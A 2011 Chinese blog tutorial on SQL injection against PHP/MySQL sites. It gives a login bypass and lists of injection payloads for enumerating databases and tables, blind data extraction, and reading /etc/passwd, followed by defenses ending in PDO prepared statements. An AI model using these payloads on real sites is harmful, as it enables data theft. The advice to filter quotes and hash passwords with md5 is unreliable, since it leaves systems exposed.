2011
Feb
03

网页好读版


Sql Injection 应该可以说是目前网路上,骇客最常用的攻击方式,因为攻击方式简单,又不需要使用任何软体,或是自行撰写程式。讲到 SQL,就要提到资料库,大多数的网站都会安装资料库伺服器(Database),其实 Database 并不是什么可怕的东西,Database 的功能就是将资料依序储存下来,然后以最快的速度,找出你想要的资料,而在寻找资料之前,你必须输入 Database 指令,你输入的这串指令,我们就称为 SQL 语法。

Sql Injection 就是指 SQL 语法上的漏洞,藉由特殊字元,改变语法上的逻辑,骇客就能取得资料库的所有内容,当然也包含了会员的帐号,密码,下面就举一个SQL登入漏洞:

一个有会员登入功能的网站,都会需要输入帐号与密码来进行验证

而后端程式,如 PHP 就必需支援相关的登入检查,判定 User 输入的帐号、密码是否正确,来确定登入是否成功 ,PHP 执行的 SQL 语法如下,这是一个简单的 SQL 语法,主要功能是从 members 这个资料表中,取出符合 User 所输入帐号与密码的会员资料。

select * from members where account='$name' and password='$password'

但若是骇客输入有特殊字元的帐号:「 ' or 1=1 /* 」,密码:「任意值」

这时SQL语法就会变成:

select * from members where account='' or 1=1 /*' and password=''

因为「/*」在 MySQL 语法中代表注解的意思,所以「/*」后面的字串通通没有执行,而这句判断式「1=1」永远成立,骇客就能登入此网站成功。

SQL 语法的注解

SQL 注解的语法有以下三种,不同的 SQL 版本,会吃不同的语法。

  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 对於 browser 来说是有意义的,那是锚点的意思,所有必须先透过 Url Encode 后的代码 「%23」 来代替。

防护方式

Sql Injection攻击很简单,不过防护也不难,只要过泸字串「'」,即可,当然如果你的SQL语法写得很糟,保险的做法是过泸「' " 」等字串,并检查变数型态「数字、字元、字串」,另外会员的密码最好是经过加密,如 md5 或 Double md5 演算法加密,这样就能避免资料外泄时,密码也同时外泄,还有要特别注意,md5 目前已经有破解方式,改用 mcrypt 会是更好的加密方式。

PHP 过泸 SQL Injection 的语法:

$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一种过泸方式
  1. $str = "'\"";
  2. $replace = array("'" => "& #39;", "\"" => "& quot;"); //请自已把 & # , & q 中间的空白移除
  3. $str = strtr($str, $replace);

Sql Injection的攻击方式会因不同的资料库而有不同的语法, 如 MsSQL的注解是用 「--」MySQL的另一个注解是用 「#」。

SQL Injection 攻击

取得 Table name

如果网站连接 database 使用的帐号,有权限读取 INFORMATION_SCHEMA database,这样就能直接搜寻任何一个 table 名称,如

  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #

取得所有资料库名称

  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;

取得所有资料表名称

  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--

一般来说,information_schema 这个资料库是没有权限读取的,尤其是市面上常见的虚拟主机,大部分的虚拟主机只能使用伺服器给的控制台来新增资料库,没办法透过程式读取所有的资料库,这时骇客们会开始用猜的方式,来取得资料表的名称,例如会员资料常会使用的 table 名称为 users , members 等等。

猜测 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);

  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜测 Table Name

资料表的名称不一定都是英文单字,有些工程师会使用怪怪的命名,这时骇客还是可以使用暴力破解的方式,将 Table Name 拼出来。

SQL 有个 function : substring ,这个功能可以对字串做切割,骇客可以先将「字串」切割成一个字元。

接著使用 ord 将字元转成 Ascii Code ,然后去比对他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98

看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第一个字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第二个字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 资料库相关讯息

取得连线帐号 user()

  • sqlInjection.php?id=1' select 1,2,user()/*

取得 Mysql 版本 version()

  • sqlInjection.php?id=1' select 1,2,version()/*

读取系统档案内容

透过 mysql 的 method 「load_file」,骇客就能轻易取得网站的档案内容。

  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php

PDO 是一个可以 query 资料库的程式,我们能够透过 PDO 连到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防护机制,使用 bindValue 的方式,PDO 会自动检查数据格式,并转换特殊字元,再将 User Input 填入 SQL 语法中。

PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 数字
  • PDO::PARAM_STR 字串

相关教学下载

网页好读版